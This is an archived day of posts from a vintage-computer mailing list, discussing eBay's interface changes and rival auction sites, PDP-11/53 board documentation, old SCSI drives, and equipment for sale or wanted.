http://www.unixag-kl.fh-kl.de/~jkunz/ From jfoust at threedee.com Wed Jun 6 07:43:00 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site In-Reply-To: <3B1DB2C4.22CE5742@rain.org> References: Message-ID: <4.3.2.7.0.20010606073825.01d53970@pc> At 09:34 PM 6/5/01 -0700, Marvin wrote: >> Cool, but I'm just wondering why anyone in their right mind would attempt >> to compete with eBay at this point? > >I fully agree!!!!! Going head to head against ebay is the height of >stupidity at this point. Adding features, having a better design, and especially appealing to niche markets would be a great way to compete with eBay but not a bad way to start a business. There are lots of big, big companies setting up auction sites to move product business-to-business, and I bet you've never heard their names. I can't think of any significant change to eBay's UI in the last few years. They do have a private auction feature where the seller pre-authorizes the bidders, don't they? - John From rhblake at bigfoot.com Wed Jun 6 08:13:54 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site In-Reply-To: <4.3.2.7.0.20010606073825.01d53970@pc> Message-ID: Ebay has been doing nothing BUT changing the interface - you can no longer see email addresses unless the auction is closed and you are buyer or seller - you go thru a "ask seller a question" interface. Also added is a "signin/sign-out" system, background arrangements, links to relisted/like item from a closed page, putting reason in early closure auctions, banned list for people you don't want bidding on any of your auctions (up to 1000 usernames) as well as a pre-authorized bidder list for a specific auction and a whole bunch of things - some helpful, some agravating and some just a pain in the butt. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of John Foust > Sent: Wednesday, June 06, 2001 7:43 AM > To: classiccmp@classiccmp.org > Subject: Re: Another Auction Site > > > At 09:34 PM 6/5/01 -0700, Marvin wrote: > >> Cool, but I'm just wondering why anyone in their right mind > would attempt > >> to compete with eBay at this point? > > > >I fully agree!!!!! Going head to head against ebay is the height of > >stupidity at this point. > > Adding features, having a better design, and especially appealing > to niche markets would be a great way to compete with eBay > but not a bad way to start a business. There are lots > of big, big companies setting up auction sites to move product > business-to-business, and I bet you've never heard their names. > > I can't think of any significant change to eBay's UI in the > last few years. > > They do have a private auction feature where the seller > pre-authorizes the bidders, don't they? > > - John > From cmurillo at emtelsa.multi.net.co Wed Jun 6 05:42:28 2001 From: cmurillo at emtelsa.multi.net.co (Carlos Murillo) Date: Sun Feb 27 19:04:14 2005 Subject: SCSI or Voodoo? In-Reply-To: <07E0E649A9C3D411A80A0020350804BD361437@exch002.softwright. co.uk> Message-ID: <3.0.2.32.20010606064228.00f1064c@obregon.multi.net.co> At 10:28 AM 6/4/01 +0100, you wrote: > >> ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N > >> Narrow 50-pin > > It should, but I don't have a lot of confidence in old Seagate >drives. > >Hmm, if that's one of the Barracuda drives, I've run one for several years >without trouble. They do get *very* hot though, so make sure you've got a >decent cooling system. Yup, those barracudas run very hot, and sink lots of power. But they were pretty fast for their time. Just make sure that the airflow and the power supply are adequate and you should have no problems. I've been running three ST15150WD for years. carlos. -------------------------------------------------------------- Carlos E. Murillo-Sanchez carlos_murillo@nospammers.ieee.org From dhquebbeman at theestopinalgroup.com Wed Jun 6 08:18:38 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:14 2005 Subject: Classic Junk Sought Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510B8@jeffserver.tegjeff.com> I wonder what kind of reply that heading will get? Actually, what I am looking for in this particular case would indeed be junk to most people. During the 1960s, Control Data Corp created a line of systems using the 3000 series designation. The peripheral cabinets for these were particularly (IMHO) cool looking, with cabinets that had sides bedecked with rectangular bezels backes with dark- blue-smoked glass (or plexiglass). Disk controllers, tape controllers, and unit-record controllers were all in cabinets like these, about 4 feet high. I think CPU and memory were in similarly-designed cabinets that were about 72 inched tall. So, I'd love to find one of the 4-foot cabinets, it would not matter what the controller was, or if it worked; hell, it could even be an empty cabinet. If anyone finds/has one, I know of a good home for it... Regards, -doug quebbeman From engdahl at cle.ab.com Wed Jun 6 08:46:55 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:04:14 2005 Subject: PDP-11/53+ Jumpers References: <200106060203.f5623pg27494@shell1.aracnet.com> Message-ID: <003701c0ee8f$2671cc60$614099a1@rcs.ra.rockwell.com> ----- Original Message ----- From: To: > > Does anyone have the jumpers for a PDP-11/53+ CPU board? > > -- > > Eric Dittman > > dittman@dittman.net > > This is a FAQ, and sadly no one seems to, either on the list or elsewhere. > If anyone has them I need them also. > > Zane I know of four people that are looking for this information. There used to be a pdf of "EK-OLCP5-TM-001 Micro/PDP-11 System Technical Manual" on www.retrobytes.org, but that site is gone and the new owner of the domain name has no knowledge of the doc. I have not been able to find another copy on the web. Antonio Carlini has a copy of that pdf. He uploaded it to www.vararchive.org a couple days ago. I have not yet been able to find it at the archive. Evidently the maintainer hasn't got around to it yet. I know what that's like. I'll wait a few days before I bug him. Or perhaps, if the vaxarchive is going to be a problem, someone could provide a more appropriate place that Antonio can upload the doc to. Are vax.sevensages.org and www.vaxarchive.org the same place, different, or is one a mirror of the other? The vaxarchive address seems to be down at the moment. I have discovered the most needed information by following traces and by trial and error. I have the console connections and the baud rate jumpers documented at http://users.safeaccess.com/engdahl/PDP-11_53.htm. The board we are talking about is the M7554. The older layout is the one pictured in the Visual Field Guide. There is a picture of the newer one on my web page. The new one is a completely new layout, and can have up to 1.5 megs of RAM. I have found you can obtain one of these boards for around $50 on eBay -- either $50 for a board, or $10 for a DECserver 500 or 550 plus $40 shipping for all the iron around it. The DECserver 550 has the M7554-SD, with an 18 MHz, rev -09 CPU, and 1.5 megs onboard. The 500 has the M7554-PB, which is the older layout, with only .5 megs RAM. The CPU is -07. The field guide says the -PB is 18 MHz -- I have not yet verified this is true for my board. I haven't got around to burning the 11/53 ROMs yet, but that doesn't matter if you use a 3rd party disk controller with a boot ROM onboard. Change the address of the disk controller's boot ROM, and use ODT to boot from there. All three boards that I've tried so far have booted and run RT-11 just fine using this method. I used the -PB board to boot UNIX, and it seems to run fine. I ohmed out the DECserver front panel, and I'll get that info posted eventuallly. But you really don't need the front panel or ROMs to run RT-11 or UNIX, just the console connection. Cut off the end of a PC floppy cable -- it fits the console connector. It will even boot RT-11 with the ROMS removed. -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl From Hans.Franke at mch20.sbs.de Wed Jun 6 09:13:32 2001 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 19:04:14 2005 Subject: Altair 8800 front panel lamps In-Reply-To: <010801c0ec93$2e113080$0200a8c0@marvin> Message-ID: <3B1E56AC.166.63A0E20@localhost> > > Which means that although Marvin should really set a correct character > > set, > > what's really at fault (again) is Outlook. No decent mailer would go > > about > > changing font sizes because of that. > > So in order to sum things up: Marvin, set your charset - OE users, ditch > > OE. > Great idea! I can imagine the conversation now ... "Boss, I know that > Outlook Express came free with our desktop O/S, and that 99% of our clients > use it, and that all of the staff are familiar with it, but I really think > we should dump it, because some non-work related messages from text-only > mail programs on 10+ year old UNIX boxen display funny." I still don't get the idea why Alison is upset because of HTML. It's a 7 Bit encoded text/Plain message of unknown charset (so US-ASCII is to be assumed) - so where is the gag ? > > "Auf Sparc-Maschinen ist Linux weit weniger gut. Auf Maschinen mit sun4 > > Architektur ist NetBSD etwa 30% schneller. Wer auf so einer Maschine > > Linux faehrt tut es aus ideologischen Gruenden oder kennt nichts > > anderes." > > Aus: de.comp.os.unix.misc, "Was ist schneller?" > Sigh. Another pointless 5 line sig in a foreign language. Well, pointless or not is not dependant on the language ... (although I see more English than german ones :) SCNR Gruss H. -- VCF Europa 3.0 am 27./28. April 2002 in Muenchen http://www.vcfe.org/ From kees.stravers at iae.nl Wed Jun 6 10:01:51 2001 From: kees.stravers at iae.nl (kees.stravers@iae.nl) Date: Sun Feb 27 19:04:14 2005 Subject: PDP-11/53+ Jumpers Message-ID: <20010606150151.A33D420FDA@mail.iae.nl> On 2001-06-06 classiccmp@classiccmp.org said to kees.stravers@iae.nl >> > Does anyone have the jumpers for a PDP-11/53+ CPU board? >I know of four people that are looking for this information. >There used to be a pdf of "EK-OLCP5-TM-001 Micro/PDP-11 System >Technical Manual" on www.retrobytes.org, but that site is gone >Antonio Carlini has a copy of that pdf. He uploaded it to >www.vararchive.org a couple days ago. I have not yet been able >to find it at the archive. Evidently the maintainer hasn't got >around to it yet. The pdf is there already, but I forgot to upload the modified index file ;-( sorry! I just did, and now you can download the pdf from http://www.vaxarchive.org/manuals/ It should also appear a day later at http://vaxarchive.khubla.com/manuals/ >I know what that's like. I'll wait a few days >before I bug him. Or perhaps, if the vaxarchive is going to be a >problem, someone could provide a more appropriate place that >Antonio can upload the doc to. >Are vax.sevensages.org and www.vaxarchive.org the same place, >different, or is one a mirror of the other? The vaxarchive >address seems to be down at the moment. The server that is hosting www.vaxarchive.org is indeed a bit unstable because it also has many other things to do. But I am not complaining because the owner of the machine lets me use many megabytes for free and when the machine goes down, it is always fixed quickly. The servers that are hosting the mirrors should be more stable. There are two active mirrors at the moment: http://vaxarchive.khubla.com/ - is automatically updated once a day http://vaxarchive.sevensages.org/ - is manually updated at irregular moments They are both located in the U.S., as is the vaxarchive machine itself. I am working on a mirror in Europe. If anyone else wants to mirror, please get in touch. Kees -- Kees Stravers - Geldrop, The Netherlands - kees.stravers@iae.nl http://www.iae.nl/users/pb0aia/ My home page (old computers,music,photography) http://www.vaxarchive.org/ Info on old DEC VAX computers (Mirrors: http://vaxarchive.khubla.com/ and http://vaxarchive.sevensages.org/) Net-Tamer V 1.08.1 - Registered From marvin at rain.org Wed Jun 6 11:02:01 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site References: <4.3.2.7.0.20010606073825.01d53970@pc> Message-ID: <3B1E53F9.4972C73E@rain.org> John Foust wrote: > > I can't think of any significant change to eBay's UI in the > last few years. You can no longer directly email a buyer or seller but have to go through Ebays intermittently working email forwarding system, the requirement to use Active X in order to use their new photo hosting service, the sellers page requires javascript unless you have the old page bookmarked or go through a two step process to get there, the addition of the BIN (Buy It Now) feature, the addition of spam ads (half.com) competing with sellers when doing a search, the use of cookies to monitor buyer/seller habits, ... From vcf at siconic.com Wed Jun 6 10:06:27 2001 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 19:04:14 2005 Subject: Instruction Manual archive Message-ID: Here is an interesting site a friend brought to my attention: www.instruction-manuals.co.uk They have a rather large inventory of used instructions manuals for everything from Amplifiers to Water Heaters. There is a Computer and Computer Software section. Each section is then subdivided by manufacturer. The manuals they have available are for sale at varous prices. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From pete at dunnington.u-net.com Wed Jun 6 02:22:19 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:14 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: "ajp166" "Re: PDP-11/53+ Jumpers" (Jun 5, 22:37) References: <00cd01c0ee32$b7f84310$ec779a8d@ajp166> Message-ID: <10106060822.ZM28704@indy.dunnington.u-net.com> On Jun 5, 22:37, ajp166 wrote: > Isn't the 11/53 the box name and the cpu being either an 11/73 > or 11/23B? All the 11/53s I've seen had 11/23B cpus (M8189). No, an 11/53 processor is an M7554, which is a quad board with J11, half a meg of memory, 2 SLUs, bootstrap, etc. It's rather like an 11/73B but with added memory (and no PMI capability, I think). It was designed as a low end system, and IIRC it's slightly slower than an 11/73. If you saw 11/53 BA23's with 11/23's in them, someone swapped the cards, or swapped the labels. -- Pete Peter Turnbull Network Manager University of York From SUPRDAVE at aol.com Wed Jun 6 12:24:35 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site Message-ID: <48.16b3a6ce.284fc153@aol.com> In a message dated 6/6/01 11:10:57 AM Central Daylight Time, marvin@rain.org writes: << John Foust wrote: > > I can't think of any significant change to eBay's UI in the > last few years. You can no longer directly email a buyer or seller but have to go through Ebays intermittently working email forwarding system, the requirement to use Active X in order to use their new photo hosting service, the sellers page requires javascript unless you have the old page bookmarked or go through a two step process to get there, the addition of the BIN (Buy It Now) feature, the addition of spam ads (half.com) competing with sellers when doing a search, the use of cookies to monitor buyer/seller habits, ... >> grrrr, it sucks. I have to clear out all kinds of javascript errors running my favourite netscape 3... I really miss the option to directly email sellers. Good deals could be made that way! From dhquebbeman at theestopinalgroup.com Wed Jun 6 11:52:45 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:14 2005 Subject: Altair 8800 front panel lamps Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510BB@jeffserver.tegjeff.com> > I still don't get the idea why Alison is upset because of HTML. > It's a 7 Bit encoded text/Plain message of unknown charset (so > US-ASCII is to be assumed) - so where is the gag ? I can't, and won't, speak for Allison. However, from conversations I've carried on with her in the past, she likes, as do I, the "in-band" method of replying to a pervious poster's comments, like I'm doing now. Of course, since the only part of your message I wanted to reply to was the snippet above, this message isn't a good demonstration of what I'm trying to say. Anyway, it's easier to intersperse my replies with the original comments- I do not like the way many people just stick all their comments either at the top or at the bottom of a message. Now, if I reply to an HTML-format message and intersperse my remarks with the originals, and FORGET to convert from HTML to plain-text before I begin, some people will see my post and see only the quoted original, and won't see my replies unless they want to wade through the HTML-ized version of it. If we were all just posting manifestos, Allison and I might not object as much as we do. But we're trying to carry on conversations, and I simply think plain text does the best job of carrying that conversation. I live for the day when Outlook or Exchange allow me to simply establish a filter that strips all incoming mail of any HTML.... Regards, -dq From rhblake at bigfoot.com Wed Jun 6 12:50:59 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site In-Reply-To: <48.16b3a6ce.284fc153@aol.com> Message-ID: That's why they did it - too many "no fee" deals that kept them out of the loop. Some people think that it's just a privacy upgrade but then when you use their form to send mail, a copy can be intercepted, so you have to watch what you write. I normally do a question to the seller and ask them to write me directly at a specific address, then hit them with my thoughts/ideas/deal. When you mention that you want to buy it right away and by early closure it would preclude the final value fee (especially on really low priced things- you basically make squat) they usually perk up and listen. I do like the way that the question-to-the-seller automagically enters the item number and title though, that way you're not guessing about what their point is towards. > I really miss the option to directly email > sellers. Good deals could be made that way! From marvin at rain.org Wed Jun 6 12:51:30 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site References: <48.16b3a6ce.284fc153@aol.com> Message-ID: <3B1E6DA2.345CD6D0@rain.org> SUPRDAVE@aol.com wrote: > > In a message dated 6/6/01 11:10:57 AM Central Daylight Time, marvin@rain.org > writes: > > << John Foust wrote: > > > > I can't think of any significant change to eBay's UI in the > > last few years. > > You can no longer directly email a buyer or seller but have to go through > Ebays intermittently working email forwarding system, the requirement to use > grrrr, it sucks. I have to clear out all kinds of javascript errors running > my favourite netscape 3... I really miss the option to directly email > sellers. Good deals could be made that way! Yes, good deals could be made and that would most likely be considered fee avoidance by Ebay if the deal were made outside Ebay. THAT is the reason they implemented this stuff; penalize the people who play by the rules in an effort to stop the people that don't. From jeff.kaneko at juno.com Wed Jun 6 12:53:48 2001 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site Message-ID: <20010606.125348.-16446475.0.jeff.kaneko@juno.com> That's why they changed it! They refused to consider the benefit it was to *users*-- only that they figured that it was taking money out of their pocket! Obviously, the general manager of E-Pay is a graduate of the Bill Gates School of Business. School Motto: 'Userium, Illigitium, Screvvium'* *Translation: (Loosely) 'Users-- Screw the Bastards!" :^) On Wed, 6 Jun 2001 13:24:35 EDT SUPRDAVE@aol.com writes: > grrrr, it sucks. I have to clear out all kinds of javascript errors > running my favourite netscape 3... I really miss the option to directly > email sellers. Good deals could be made that way! ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From ard at p850ug1.demon.co.uk Wed Jun 6 12:48:34 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:14 2005 Subject: old date plz In-Reply-To: <4229f433d9.433d94229f@bigpond.com> from "blacklord" at Jun 6, 1 10:41:59 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1292 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010606/838defe8/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 6 12:56:21 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:14 2005 Subject: Flaming DECpacks (was Re: Tantalum Popcorn - What to do (Was) In-Reply-To: <20010606015649.34228.qmail@web9507.mail.yahoo.com> from "Ethan Dicks" at Jun 5, 1 06:56:49 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1889 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010606/e24666ec/attachment.ksh From engdahl at cle.ab.com Wed Jun 6 13:17:39 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:04:14 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: <10106060822.ZM28704@indy.dunnington.u-net.com> Message-ID: <002701c0eeb4$f8ad3a00$664199a1@rcs.ra.rockwell.com> The M7554 has a Qbus on the A-B connector, and nothing but grant jumpers and power on the C-D connector. I don't know anything about 11/73's, but the first thing I noticed when I got the 11/53 to boot was "Whoa! -- this thing is a lot faster than an 11/23". Maybe Allison had better go looking for someone with a very fast "11/23" and get his CPU board back! -- Jonathan Engdahl???????????????? Rockwell Automation Principal Research Engineer????? 24800 Tungsten Road Advanced Technology????????????? Euclid, OH 44117, USA Euclid Labs????????????????????? engdahl@cle.ab.com 216-266-6409 > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Pete Turnbull > Sent: Wednesday, June 06, 2001 3:22 AM > To: classiccmp > Subject: Re: PDP-11/53+ Jumpers > > > On Jun 5, 22:37, ajp166 wrote: > > Isn't the 11/53 the box name and the cpu being either an 11/73 > > or 11/23B? All the 11/53s I've seen had 11/23B cpus (M8189). > > No, an 11/53 processor is an M7554, which is a quad board with J11, half a > meg of memory, 2 SLUs, bootstrap, etc. It's rather like an > 11/73B but with > added memory (and no PMI capability, I think). It was designed as a low > end system, and IIRC it's slightly slower than an 11/73. > > If you saw 11/53 BA23's with 11/23's in them, someone swapped the > cards, or > swapped the labels. > > > > -- > Pete Peter Turnbull > Network Manager > University of York > From foo at siconic.com Wed Jun 6 12:40:10 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site In-Reply-To: <3B1DB2C4.22CE5742@rain.org> Message-ID: On Tue, 5 Jun 2001, Marvin wrote: > I fully agree!!!!! Going head to head against ebay is the height of > stupidity at this point. However Ebay is continuing to do some pretty > stupid things that are getting a number of sellers pretty pissed off. > They are probably hoping to pick up enough business from that fallout > to stay in business. I've been following the stories (it seems that eBay is such an institution now that anything major they do becomes news worthy enough to be published in major newspapers). But at this point in time I can't imagine any circumstance by which eBay would lose it dominance. There would have to be a mass exodus of regular sellers to another service, and a major advertising campaign by a competing service, in order for eBay to lose the marketshare it currently enjoys. You have to realize that eBay got to where it is today because of two major factors. They were one of the first (if not the first) organized auction sites on the web, and more importantly, they advertised like mad. Once they went public and got the cash influx needed to accelerate advertising, the race was over. When people think of online auctions, they think "eBay". eBay is everywhere now. They have tie ins with at least one or two tv shows (I'm sure most people have seen the auctions advertised on The History Channel by now), they've bought some major "real world" auction houses, and they are even being quoted in comedy routines (you know you've arrived when you're mentioned in a David Letterman or Jay Leno monologue). Also, the sellers that are pissing and moaning about eBay's latest move with regards to the new software know full well that they aren't going to take their wares to another site and be as successful as they are on eBay. Another thing that eBay has that other auction sites don't is the buyers. Again, this goes back to advertising. When people get online to go look for used stuff, what's the first site they visit? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jhfine at idirect.com Wed Jun 6 13:37:54 2001 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site References: Message-ID: <3B1E7882.429D8EBF@idirect.com> >Russ Blakeman wrote: > That's why they did it - too many "no fee" deals that kept them out of the > loop. Some people think that it's just a privacy upgrade but then when you > use their form to send mail, a copy can be intercepted, so you have to watch > what you write. I normally do a question to the seller and ask them to write > me directly at a specific address, then hit them with my > thoughts/ideas/deal. When you mention that you want to buy it right away and > by early closure it would preclude the final value fee (especially on really > low priced things- you basically make squat) they usually perk up and > listen. Jerome Fine replies: In most cases, the exact cost of shipping is not stated. Although I have never found an item interesting enough to try and go around eBay, I always attempt to verify the exact shipping cost plus also verify what the total price will be - namely will there also be a handling and/or insurance charge. If a vendor will not reply to that question, I doubt that a private deal would be possible. So, just ask for the exact cost of shipping. > I do like the way that the question-to-the-seller automagically enters the > item number and title though, that way you're not guessing about what their > point is towards. > > I really miss the option to directly email > > sellers. Good deals could be made that way! That part does help. And since I use (even an old version of) Netscape, I just need to click on the URL line to get back to the actual auction page. So in general, I don't see where eBay has plugged the possibility of private deals - just e-mail the vendor with a legitimate question and when there is a response take it from there. Sincerely yours, Jerome Fine From foo at siconic.com Wed Jun 6 12:43:25 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site In-Reply-To: <5.0.0.25.2.20010605214106.02064970@208.226.86.10> Message-ID: On Tue, 5 Jun 2001, Chuck McManis wrote: > Well Ebay is starting to become a lot less friendly. For one you can't > search for crap in the completed auctions, you can't figure out easily > if some bidder id is a shill be getting their email address, and they > are eliminating links (including your own images) in their listings > (so you have to pay more to list your item if you have pictures) Hmm, I guess I haven't used eBay in a while. But I can still search for completed auctions. Are you talking about that fact that they only keep completed auctions online for a limited time? It's been that way for years now. Anyway, as much as I hate eBay and their policies (they claim to be interested in stamping out fraud but actions speak louder than words...they're only interested in making money) and would love to see them flounder, I don't see that happening (any time soon at least). Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Wed Jun 6 12:44:49 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site In-Reply-To: Message-ID: On Tue, 5 Jun 2001, Brian Chase wrote: > Another interesting idea would be to setup something that allows for > equipment bartering. Each user could have a list of things they want > to get rid of, and things they are looking to acquire. The details of > how the exchange would proceed are still a bit fuzzy, but it'd be an > interesting project for the ClassicCmp community. Well, this is something I've been meaning to add to the VCF site for a long time (a trading post). Now that I have the proper web tools installed on my server, I may well start working on that and have a prototype ready for testing in the next couple weeks. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Wed Jun 6 12:47:03 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site In-Reply-To: <200106060542.f565geJ06916@narnia.int.dittman.net> Message-ID: On Wed, 6 Jun 2001, Eric Dittman wrote: > The frequent downtimes are a pain, but the biggest pain is that almost > all the sellers use eBay because everyone uses eBay. Because of that, > if you are looking for some odd part and nobody you can ask has the > part, eBay is about your only option. I'll be the first to admit that I am a hypocrite, but I would actually hate to see the online auction service market get fractured. The one good thing that you can rely on with eBay is that you pretty much know if you're after something obscure, you have a good chance of finding it on eBay. eBay is similar to a big historical database. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From rdd at smart.net Wed Jun 6 13:56:03 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:15 2005 Subject: Faith in new finds... In-Reply-To: <007401c0ee04$4011c480$6adb3fd0@DOMAIN> Message-ID: On Tue, 5 Jun 2001, Mike wrote: [after he gave away an HP41C] > With that, I turned a corner at last weekends fleamarket and found a 41CV, X > Functions Pac, piggyback mag- strip reader/writer, ps, *many* strips, and a > thermal printer for a buck. > > Is there an emerging religion in all this? Who cares... There's one word that may explain it: karma. :-) A couple of years ago, I bought a scanner that I couldn't use with my computer running FreeBSD. When I stopped at a charity garage sale, for a wildlife sanctuary, I happened to have the scanner in my car; instead of returning the scanner for a refund, I donated it to the wildlife sanctuary. This spring, I went to another garage sale at the same place, and guess what I found for sale, very reasonably priced? An HP ScanJet III with a SCSI interface. :-) -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From ip500 at home.com Wed Jun 6 14:20:32 2001 From: ip500 at home.com (Craig Smith) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site References: Message-ID: <3B1E8280.ED7E3A36@home.com> It WOULD be a great historical database if they kept more than 30-60 days of data available! Somewhere they have a data warehouse full of great stuff but it's not available. Of course the pictures wouldn't be available for the past auctions but descriptions and prices realized would be a great resource. BIG database though ...what are they up to these days 124 million auctions or so??? Craig Sellam Ismail wrote: > > On Wed, 6 Jun 2001, Eric Dittman wrote: > > > The frequent downtimes are a pain, but the biggest pain is that almost > > all the sellers use eBay because everyone uses eBay. Because of that, > > if you are looking for some odd part and nobody you can ask has the > > part, eBay is about your only option. > > I'll be the first to admit that I am a hypocrite, but I would actually > hate to see the online auction service market get fractured. The one good > thing that you can rely on with eBay is that you pretty much know if > you're after something obscure, you have a good chance of finding it on > eBay. > > eBay is similar to a big historical database. > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org From bills at adrenaline.com Wed Jun 6 14:42:20 2001 From: bills at adrenaline.com (Bill Sudbrink) Date: Sun Feb 27 19:04:15 2005 Subject: Nobody wants an HP-150? Message-ID: I'll try one more time... It's fully functional, including the touch screen. It has 640K of RAM (256K integrated + 384K on an expansion board). Best offer. From epgroot at ucdavis.edu Wed Jun 6 14:59:10 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:15 2005 Subject: Rescue: *NEW* DG Aviion In-Reply-To: <5.1.0.14.1.20010605202621.00a0bb20@mailhost.intellistar.ne t> Message-ID: <3.0.5.32.20010606125910.007d8740@yellow.ucdavis.edu> Oh Crap! Last week at a garage sale I passed over a box of DG-UX software, thinking, "I'll never come across an Aviion". Sorry! Edwin At 08:36 PM 6/5/2001 -0400, you wrote: > I stopped at a scrap place today and found a NEW DG Aviion that they're >getting ready to scrap. This appears to be brand new and complete. It's >clean and looks like it's in perfect condition. It's very sharp >looking! I talked to them and they are interested in selling it as an > Joe > > From RCini at congressfinancial.com Wed Jun 6 15:15:14 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:15 2005 Subject: OT: PC104 connectors Message-ID: <497A9E0467D2D2119B760090271EB8E58799D1@MAIL10> Hello, all: I posted this question to ChipCenter a few weeks ago, but I've gotten no responses. Where can I purchase PC/104 stacking connectors in really low (single unit) quantities? My usual suppliers DigiKey, Mouser and Jameco don't carry them. I'm checking Pioneer Standard and some of the major supplier houses, but has anyone actually purchased these for prototyping purposes? Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From mikeford at socal.rr.com Wed Jun 6 14:22:06 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site In-Reply-To: References: <3B1D1B51.1D6980EB@rain.org> Message-ID: >> A new site has just opened up, http://www.sellyouritem.com. I've been > >Cool, but I'm just wondering why anyone in their right mind would attempt >to compete with eBay at this point? The internet is MUCH more fickle than any other business area, and eBay has shot itself in the foot more than once already. Besides, while eBay is currently the largest, my guess is that more than half a dozen other auction sites are making a profit, via niche or regional auctions. From mikeford at socal.rr.com Wed Jun 6 15:15:41 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site In-Reply-To: References: <5.0.0.25.2.20010605214106.02064970@208.226.86.10> Message-ID: >Hmm, I guess I haven't used eBay in a while. But I can still search for >completed auctions. Are you talking about that fact that they only keep Ebay doesn't say anything, but all the completed auction searches are by subject only, descriptions are not searched. This changed around the first of the year, and greatly reduces the value of searches. From bills at adrenaline.com Wed Jun 6 15:53:50 2001 From: bills at adrenaline.com (Bill Sudbrink) Date: Sun Feb 27 19:04:15 2005 Subject: Nobody wants an HP-150? In-Reply-To: <004901c0eec6$c4e2b120$8a0101ac@ibm23xhr06> Message-ID: > Loco-ation? (If I can't go get it, it's forget it) Sorry... It's in Washington, DC. From allain at panix.com Wed Jun 6 15:42:28 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site References: Message-ID: <006a01c0eec9$33baef20$8a0101ac@ibm23xhr06> Anybody have a Good story relating to eBay and Fraud? For me it's 3 years (good), 300+ purchases (good), 1 fraud (Bad). All eBay did was delist the seller and respond to me with a form letter. Presumably eBay had some contact information on the seller. Shouldn't they've contacted the ISP & Police about this? I was surprized a Police case wasn't started on them. John A. From Demon02554 at aol.com Wed Jun 6 15:50:06 2001 From: Demon02554 at aol.com (Demon02554@aol.com) Date: Sun Feb 27 19:04:15 2005 Subject: Nobody wants an HP-150? Message-ID: 